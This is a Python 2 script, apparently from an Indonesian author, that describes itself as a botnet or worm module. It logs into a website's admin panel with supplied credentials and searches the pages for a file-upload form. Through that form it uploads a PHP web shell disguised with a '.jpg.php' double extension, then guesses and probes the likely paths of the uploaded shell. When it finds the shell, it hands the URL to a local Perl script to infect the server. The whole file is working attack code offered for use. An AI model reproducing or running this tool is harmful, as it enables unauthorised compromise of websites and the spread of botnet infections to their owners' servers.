#!/usr/bin/python #robot.py a botnet module updated dec 2011 #made by ev1lut10n try: import mechanize,cookielib except Exception, err: print "gak ada mechanize atau cookilib yang bener aje ah" try: import os,sys,urllib, urllib2,random except Exception, err: print "gagal import os,sys,urllib, urllib2,random" global aray_data_form global url_admin global br global aray_data_post global url_admin_modifikasi global kemungkinan_halaman_depan global perintah global nama_shell global data_kemungkinan global url global kemungkinan_path_kedalaman_dua global aray_kemungkinan global kemungkinan_url_shell1 global kemungkinan_url_shell2 global kemungkinan_url_shell3 global kemungkinan_url_shell_lainya global kemungkinan_url_shell_lainya2 kemungkinan_halaman_depan="" url_admin_modifikasi="" aray_data_form=[] global isi_html for arg in sys.argv: try: url_admin=sys.argv[1] loginku=sys.argv[2] password=sys.argv[3] perintah=sys.argv[4] except Exception, err: print "ada error nih tar lo ada kesalahan" br = mechanize.Browser() cj = cookielib.LWPCookieJar() br.set_cookiejar(cj) br.set_handle_equiv(True) br.set_handle_gzip(True) br.set_handle_redirect(True) br.set_handle_referer(True) br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')] try: br.open(url_admin) except Exception, err: print "lanjut" br.select_form(nr=0) print br.response().read() i=0 for f in br.forms(): data=str(f) aray_data_form=data.split('<' ) def parsing_form_login_dan_ambil_nama_komponen(): global form_url_login global form_login global form_password for teks in aray_data_form: pos1 = teks.find("POST") if pos1 < 0: print "ga nemu post" else: teks_post=teks pos2=teks.find("TextControl") if pos2 < 0: print "ga nemu text" else: teks_login=teks pos3=teks.find("PasswordControl") if pos3 < 0: print "ga nemu text" else: teks_password=teks aray_data_post=teks_post.split(' ' ); aray_data_text=teks_login.split('(' ); aray_data_password=teks_password.split('(' ); teks_post=aray_data_post[1] teks_login= aray_data_text[1] teks_password=aray_data_password[1] form_url_login=teks_post form_login=teks_login.replace( "=)>", "" ) form_password=teks_password.replace( "=)>", "" ) form_url_login.replace( "\n", "" ) form_login.replace( "\n", "" ) form_password.replace( "\n", "" ) form_url_login.strip() form_login.strip() form_password.strip() print "url login "+form_url_login print "form login "+form_login print "form password "+form_password def login(url_admin,form_login,form_password): global br global isi_html global page_upload br = mechanize.Browser() cj = cookielib.LWPCookieJar() br.set_cookiejar(cj) br.set_handle_equiv(True) br.set_handle_gzip(True) br.set_handle_redirect(True) br.set_handle_referer(True) br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')] try: br.open(form_url_login) except Exception, err: print "lanjut" print "auto login:"+form_url_login br.select_form(nr=0) form_login.rstrip('\n' ) form_password.rstrip('\n' ) form_login=str(form_login) form_password=str(form_password) fl=form_login.strip() fp=form_password.strip() br[fl]=str(loginku) br[fp]=str(password) br.submit() isi_html=br.response().read() for l in br.links(): link=str(l) aray_data_link=link.split(',' ) url_kotor=aray_data_link[1] aray_data_link2=url_kotor.split("'" ) link_bersih=aray_data_link2[1] pos1 = link_bersih.find("out") pos2 = link_bersih.find("log") pos3 = link_bersih.find("sign") if (pos1 < 0) & (pos2 < 0) & (pos3 < 0): print "bukan log out aman di klik:"+link_bersih after_login=br.click_link(url=link_bersih) try: br.open(after_login) except Exception, err: print "lanjut" unso=br.response().read() print "unso:"+str(unso) posx=unso.find("multipart/form-data") if (posx < 0): print "bukan form upload, lanjut cari lagi" else: print "gue temuin page form upload di:"+link_bersih+" muahahahahahahaha gw emang worm yg cadas bruakakakaka" page_upload=link_bersih break br.back() def parsing_url_admin_dan_modif(url_admin): global url_admin_modifikasi global kemungkinan_halaman_depan sampah="" posx=url_admin.find(".php") if (posx < 0): print "aman" url_admin_modifikasi=url_admin else: print "harus diatur dulu" aray_url_admin=url_admin.split('/' ) for x in aray_url_admin: posx=x.find(".php") if (posx < 0): print "bukan bego" else: sampah=x print "ini sampahnya yang akan menggangu kinerja kita:"+x url_admin_modifikasi=url_admin.replace(sampah,"") aray_url_admin_modifikasi=url_admin.split('/' ) for x in aray_url_admin_modifikasi: sampah=x kemungkinan_halaman_depan=url_admin_modifikasi.replace(sampah,"") def ambil_path_dan_shell(isi_html): global nama_shell global data_kemungkinan global aray_kemungkinan_path_kedalaman_dua global tambalan global kemungkinan_path_kedalaman_dua global url aray_parsing_kemungkinan_path=isi_html.split('/' ) print "tes:"+aray_parsing_kemungkinan_path[0] t=0 for parsingan in aray_parsing_kemungkinan_path: posx2=aray_parsing_kemungkinan_path[t].find("jpg.php") if posx2<0: print "belum ditemukan "+aray_parsing_kemungkinan_path[t] t=t+1 else: n=t-1 print "t:"+str(t) print "hmmm sepertinya ditemukan pola shell kita pada string:"+aray_parsing_kemungkinan_path[t] print "string sebelumnya:"+aray_parsing_kemungkinan_path[n] print "string sebelumnya:"+aray_parsing_kemungkinan_path[n-1] kemungkinan_path_kedalaman_dua=aray_parsing_kemungkinan_path[n-1] aray_kemungkinan_path_kedalaman_dua=kemungkinan_path_kedalaman_dua.split("=") kemungkinan_path_kedalaman_dua=aray_kemungkinan_path_kedalaman_dua[1] kemungkinan_path_kedalaman_dua=kemungkinan_path_kedalaman_dua.strip() kemungkinan_path_kedalaman_dua=kemungkinan_path_kedalaman_dua.replace("'","") kemungkinan_path_kedalaman_dua=kemungkinan_path_kedalaman_dua.replace('"','') print "kemungkinan path kedalaman kedua:"+kemungkinan_path_kedalaman_dua break tambalan=aray_parsing_kemungkinan_path[n] print "--->tambalan:"+tambalan cake=aray_parsing_kemungkinan_path[t] cake2=aray_parsing_kemungkinan_path[t] print "kemungkinan kue:"+cake aray_parsing_kemungkinan_path2=cake.split('=' ) for parsingan in aray_parsing_kemungkinan_path2: data_kemungkinan = parsingan print "parsingan------------>"+parsingan posx=data_kemungkinan.find("http://") if posx<0: url="no" else: url="yes baby yuhu" data_kemungkinan=data_kemungkinan.replace( "'", "" ) data_kemungkinan=data_kemungkinan.replace( '"', '' ) print "cake2:"+cake2 aray_kemungkinan_nama_shell_setelah_diupload=cake2.split(">") nama_shell=aray_kemungkinan_nama_shell_setelah_diupload[0].replace( "'", "" ) nama_shell=nama_shell.replace( '"','' ) nama_shell=nama_shell.replace( '>','' ) print "kemungkinan string mengandung path:"+data_kemungkinan print "kemungkinan nama file shell:"+nama_shell p=nama_shell.find("jpg.php") if p<0: nama_shell="becak.jpg.php" if url=="yes": kemungkinan_url_shell=data_kemungkinan+"/"+nama_shell try: response=urllib.urlopen(kemungkinan_url_shell) isi_html = response.read() except Exception, err: print "lanjut" else: kemungkinan_url_shell=kemungkinan_halaman_depan+"/"+data_kemungkinan+"/"+nama_shell try: response=urllib.urlopen(kemungkinan_url_shell) isi_html = response.read() except Exception, err: print "lanjut" def upload_shell(page_upload): global br global isi_html aray_inputbox=[] aray_textarea=[] aray_select=[] aray_file=[] aray_isi_select=[] aray_uploader=[] path_diriku=os.getcwd() path_becak=str(path_diriku)+"/becak.jpg.php" print "oye gue mao coba-coba ngupload shell:"+path_becak print "perhatian!!! gue ini worm bukan orang !!! lu kira gue orang? muka gile lu" try: br.open(page_upload) except Exception, err: print "lanjut" print "auto login:"+page_upload br.select_form(nr=0) for f in br.forms(): data=str(f) aray_data_form=data.split('<' ) for teks in aray_data_form: print "data form kotor:"+teks berbentuk_inputbox = teks.find("TextControl") berbentuk_textarea = teks.find("TextareaControl") berbentuk_uploader = teks.find("FileControl") berbentuk_select = teks.find("SelectControl") if berbentuk_inputbox < 0: print "bukan input box cuy" else: aray_data_inputbox=teks.split('(' ); inputbox_kotor=aray_data_inputbox[1] inputbox_bersih=inputbox_kotor.replace( "=)>", "" ) inputbox_bersih.strip() aray_inputbox.append(inputbox_bersih) print "--------------------------------ditemukan inputbox dengan nama:"+inputbox_bersih if berbentuk_textarea < 0: print "bukan textarea cuy" else: aray_data_textarea=teks.split('(' ); textarea_kotor=aray_data_textarea[1] textarea_bersih=textarea_kotor.replace( "=)>", "" ) textarea_bersih.strip() aray_textarea.append(textarea_bersih) print "--------------------------------ditemukan textarea dengan nama:"+textarea_bersih if berbentuk_uploader < 0: print "bukan buat ngupload cuy" else: aray_data_file=teks.split('=' ); file_kotor=aray_data_file[0] file_bersih=file_kotor.replace( "FileControl(", "" ) file_bersih.strip() aray_file.append(file_bersih) print "---------------------------------ditemukan file upload dengan nama:"+file_bersih if berbentuk_select < 0: print "bukan select juga ni cuy" else: aray_data_select=teks.split('=' ) isi_select=teks.split(',' ) print "perkiraan isi select:"+str(isi_select[1]) isi_sel=str(isi_select[1]) select_kotor=aray_data_select[0] select_bersih=select_kotor.replace( "SelectControl(", "" ) select_bersih.strip() aray_isi_select.append(isi_sel) aray_select.append(select_bersih) print "---------------------------------ditemukan select dengan nama:"+select_bersih #saatnya submit form upload print "[+]nyoba ngupload dulu cuy" try: br.open(page_upload) except Exception, err: print "lanjut" print "uploading: "+path_becak br.select_form(nr=0) br.form.set_all_readonly(False) for nama_input in aray_inputbox: nama_input=nama_input.strip() print "nama inputan dengan aray:"+nama_input if nama_input=="email" or nama_input=="mail" or nama_input=="Email" : br[nama_input]="root@astalavista.com" else: br[nama_input]="622126363170" for nama_input in aray_textarea: nama_input=nama_input.strip() br[nama_input]="622126363170" print "nama inputan:"+nama_input for nama_input in aray_file: #br[nama_input]=path_becak FILENAME=path_becak br.form.add_file(open(FILENAME), 'text/plain', FILENAME) nama_input=nama_input.strip() print "nama inputan:"+nama_input i=0 for nama_input in aray_select: nama_input=nama_input.strip() isi_sel=isi_sel.strip() print "nama inputan:"+nama_input isi_sel=aray_isi_select[i].strip() br[nama_input]=[isi_sel] i=i+1 br.submit() isi_html=br.response().read() def tebak_path_shell_dan_infeksi_box(isi_html,url_admin_modifikasi): global kemungkinan_url_shell1 global kemungkinan_url_shell2 global kemungkinan_url_shell3 global kemungkinan_url_shell_lainya global kemungkinan_url_shell_lainya2 global aray_kemungkinan global nama_shell global data_kemungkinan global url global depan global tambalan global kemungkinan_path_kedalaman_dua depan="tidak" print "pertama tama kita cari dulu kemungkinan mendapatkan path shell dari halaman setelah submit upload" before='' posx=isi_html.find("jpg.php") if (posx < 0): print "gak nemu di sini, melanjutkan pencarian path ke halaman depan situs" depan="ya" else: print "hmmm ditemukan pattern shell kita nih kayaknya bentar gw parsing dulu biar dapet path" ambil_path_dan_shell(isi_html) if url=="yes baby yuhu": kemungkinan_url_shell1=data_kemungkinan+"/"+nama_shell kemungkinan_url_shell_lainya=data_kemungkinan+"/"+kemungkinan_path_kedalaman_dua+"/"+nama_shell kemungkinan_url_shell_lainya2=data_kemungkinan+"/"+kemungkinan_path_kedalaman_dua+"/"+tambalan+"/"+nama_shell else: kemungkinan_url_shell1=url_admin_modifikasi+"/"+data_kemungkinan+"/"+nama_shell kemungkinan_url_shell2=kemungkinan_halaman_depan+"/"+data_kemungkinan+"/"+nama_shell kemungkinan_url_shell3=kemungkinan_halaman_depan+"/"+data_kemungkinan+"/"+tambalan+"/"+nama_shell kemungkinan_url_shell_lainya=url_admin_modifikasi+"/"+kemungkinan_path_kedalaman_dua+"/"+nama_shell kemungkinan_url_shell_lainya2=url_admin_modifikasi+"/"+kemungkinan_path_kedalaman_dua+"/"+tambalan+"/"+nama_shell print "------------url 2 kemungkinan lokasi shell kita--------------" print kemungkinan_url_shell1 print kemungkinan_url_shell2 print kemungkinan_url_shell3 print kemungkinan_url_shell_lainya print kemungkinan_url_shell_lainya2 if posx<0: print "mencari dari kemungkinan path lainya yaitu:"+kemungkinan_url_shell_lainya try: response=urllib.urlopen(kemungkinan_url_shell_lainya) isi_html = response.read() ak=response.geturl() except Exception, err: print "lanjut" if posx<0: print "tidak ditemukan shell kita di url_lainya "+kemungkinan_url_shell_lainya else: print "woot ditemukan shell di url lainya:"+kemungkinan_url_shell_lainya os.system("./becak.pl '"+kemungkinan_url_shell_lainya+"'") sys.exit(1) print "tidak ditemukan path becak yang diupload, mencoba mencari di halaman depan" depan="ya" if depan=="ya": try: response=urllib.urlopen(kemungkinan_halaman_depan) isi_html = response.read() except Exception, err: print "lanjut" posx=isi_html.find(".jpg.php") if posx<0: print "tidak ditemukan path becak di halaman depan" else : print "ada path becak mari kita parsing untuk mendapatkan path becak" ambil_path_dan_shell(isi_html) if url=="yes baby yuhu": kemungkinan_url_shell1=data_kemungkinan+"/"+nama_shell kemungkinan_url_shell_lainya=data_kemungkinan+"/"+kemungkinan_path_kedalaman_dua+"/"+nama_shell kemungkinan_url_shell_lainya2=data_kemungkinan+"/"+kemungkinan_path_kedalaman_dua+"/"+tambalan+"/"+nama_shell else: kemungkinan_url_shell1=url_admin_modifikasi+"/"+data_kemungkinan+"/"+nama_shell kemungkinan_url_shell2=kemungkinan_halaman_depan+"/"+data_kemungkinan+"/"+nama_shell kemungkinan_url_shell3=kemungkinan_halaman_depan+"/"+data_kemungkinan+"/"+tambalan+"/"+nama_shell kemungkinan_url_shell_lainya=url_admin_modifikasi+"/"+kemungkinan_path_kedalaman_dua+"/"+nama_shell kemungkinan_url_shell_lainya2=url_admin_modifikasi+"/"+kemungkinan_path_kedalaman_dua+"/"+tambalan+"/"+nama_shell print "------------url 2 kemungkinan lokasi shell kita--------------" print kemungkinan_url_shell1 print kemungkinan_url_shell2 print kemungkinan_url_shell3 print kemungkinan_url_shell_lainya print kemungkinan_url_shell_lainya2 def cari_shell_kita_dan_infeksi_box(): global kemungkinan_url_shell1 global kemungkinan_url_shell2 global kemungkinan_url_shell3 global kemungkinan_url_shell_lainya global kemungkinan_url_shell_lainya2 global aray_kemungkinan aray_kemungkinan=[] aray_kemungkinan.append(kemungkinan_url_shell1) aray_kemungkinan.append(kemungkinan_url_shell2) aray_kemungkinan.append(kemungkinan_url_shell3) aray_kemungkinan.append(kemungkinan_url_shell_lainya) aray_kemungkinan.append(kemungkinan_url_shell_lainya2) for urlx in aray_kemungkinan: try: response=urllib.urlopen(urlx) isi_html = response.read() ak=response.geturl() except Exception, err: print "lanjut" posx=isi_html.find("safemode") if posx<0: print "tidak ditemukan shell kita di "+ak else: print "woot ditemukan shell di url:"+urlx os.system("./becak.pl '"+urlx+"'") sys.exit(1) parsing_form_login_dan_ambil_nama_komponen() login(url_admin,form_login,form_password) upload_shell(page_upload) parsing_url_admin_dan_modif(url_admin) tebak_path_shell_dan_infeksi_box(isi_html,url_admin_modifikasi) cari_shell_kita_dan_infeksi_box()